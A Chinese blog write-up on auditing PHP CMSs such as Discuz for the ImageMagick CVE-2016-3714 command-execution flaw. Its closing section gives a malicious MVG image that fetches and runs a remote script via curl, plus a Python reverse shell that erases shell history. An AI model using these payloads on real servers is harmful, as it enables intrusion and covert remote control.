详解CVE-2016-3714在cms中的利用
in 漏洞分析安全技巧 with 0 comment

详解CVE-2016-3714在cms中的利用

in 漏洞分析安全技巧 with 0 comment

0x01.概述

CVE-2016-3714是上周爆出来的ImageMagick 命令执行漏洞
本来想跟进分析一下的,还在艰难的翻译的时候,就看到p牛在wooyun上已经发了详细分析,所以这里也没什么好说的了,
想要看原理的可以移步wooyun查看详细分析,
我在这里要讲的是,当我们拿到一个cms的时候,
怎么通过代码审计的方式查看是否存在这个漏洞,简而言之,就是这个漏洞在cms中的利用。

0x02.ImageMagick漏洞在cms中利用

在讲利用之前,先说一下ImageMagick和它的php扩展Imagick的使用方法。
ImageMagick使用:可以直接使用命令实现转换,
比如用convert命令convert 1.jpg 1.png ,直接在命令行敲就行了。如下
QQ20170521-131103@2x.png
完成了转换并且执行了命令。在一般的cms中,如果要利用的话就要使用命令执行函数,
exec(“convert 1.jpg 1.png”)这样,也可以用system等命令执行函数。
php扩展Imagick的使用:我们可以直接看代码

$image = new Imagick('old_s.jpg');
$image->thumbnailImage(100, 0);
echo $image;

使用php扩展必然会new imagick这个类,然后再进行接下来的处理
讲完最基本的使用之后就可以来看cms了,能找出漏洞的cms就可以直接提交到wooyun上了,在这里也就不写出来了
也有用了ImageMagick但是没有引发漏洞的
这里就用这种例子来讲解如何在代码审计的层面上发现cms中的ImageMagick漏洞
当然,我们也可以直接找到上传点,上传一张可利用的图片,看是否可以上传成功,这种方法简单粗暴,效果也不错,
但是从代码层分析我们可以看到更多的细节,比如图片如何进入ImageMagick处理的,进入之前进行了哪些操作。
既然是图片处理,我们就从图片上传的地方开始分析,
这里以discuz作为例子,我一开始是从用户头像上传的地方开始分析的,
最后发现头像的地方并没有调用什么处理图片的库,
它的图片是在swf中处理,然后上传的服务器上,服务器只是检查了文件后缀,大小之类的
但是一般发帖上传图片的地方就用到了ImageMagick。
我们抓下上传图片的那个包
QQ20170521-131323@2x.png
我们可以看到上传的链接是
/discuz/misc.php?mod=swfupload&action=swfupload&operation=upload&fid=2
我们跟踪到misc.php
QQ20170521-131352@2x.png
这里$mod=swfupload,最后包含了misc_swfupload.php这个文件
我们跟进这个文件
QQ20170521-131443@2x.png
在这里先new image这个类,然后利用Thumb这个函数对图片进行裁剪,跟进Thumb这个函数
QQ20170521-131530@2x.png
这个函数里既有让我们激动的东西,又有让我们心碎的东西
我们先看最后,discuz提供了两种图片处理方法,一个是GD库,一个是ImageMagick
就是我们红线标的地方,选择是哪种处理方法的是在后台设置
QQ20170521-131553@2x.png
我们可以在这里选择利用ImageMagick处理,为了确认一下,我们还是跟进一下Thumb_IM()这个函数
QQ20170521-131644@2x.png
我们可以看到这里的确是利用exec直接执行convert这个命令,也就是可以触发命令执行漏洞的
只要程序能执行到这里我们就可以触发漏洞
但是程序并不能执行到这里,这就是我刚刚说的心碎的地方
看到Thumb这个函数
QQ20170521-131743@2x.png
最开始进行了一下初始化,如果初始化错误是会返回错误代码,直接就退出了,我们来看看init()这个函数
QQ20170521-131817@2x.png
这里最后调用了getmagesize这个对图片内容进行检测,
我们构造能够攻击的图片是不能够通过这个检测的,这里会返回错误代码-1,
所以discuz就算开启了ImageMagick,还是不能够利用的。
在cms中查看这个ImageMagick利用的时候我也走了很多弯路,
一开始我是看的phpwind,phpwind是二次开发的,
所以它里面的东西都是一个类继承另一个,然后调用什么方法这样的,
追溯起来比较麻烦,浪费了很多时间,我是总共看了6个class,
追溯到最后发现图片是利用GD库来处理的
QQ20170521-131928@2x.png
所以,我们在跟进代码之前,最好先搜索一下,看看是否有的相应关键字,
可以搜索关键字convert,或者是 php扩展模块Imagick,我们就可以搜索new Imagick,
如果有我们再跟进分析,看图片到底经过哪些处理,能否绕过等等
QQ20170521-132002@2x.png
有搜索结果的我们就可以跟进。
总结一下,在cms中利用ImageMagick漏洞的基本思路,

这就是一个基本的思路。

0x03.最后说两句

看到一个命令执行方法分享一下,在付大王的博客上看到的
我们把图片写成这样

push graphic-context
viewbox 0 0 640 480
fill 'url(https://1"||curl -sS http://www.chengable.com/e.py | python")'
pop graphic-context

其中e.py放我们服务器上,这里就是请求下载e.py,然后执行
e.py代码

import os,socket,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.1",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.unsetenv("HISTFILE");os.unsetenv("HISTFILESIZE");os.unsetenv("HISTSIZE");os.unsetenv("HISTORY");os.unsetenv("HISTSAVE");os.unsetenv("HISTZONE");os.unsetenv("HISTLOG");os.unsetenv("HISTCMD");os.putenv("HISTFILE","/dev/null");os.putenv("HISTSIZE","0");os.putenv("HISTFILESIZE","0");pty.spawn("/bin/sh");s.close()

Ip填上本机ip就可以了,这里就是一个反弹shell,我们用nc去监听2333端口,
如果成功执行会反弹shell的

Comments are closed.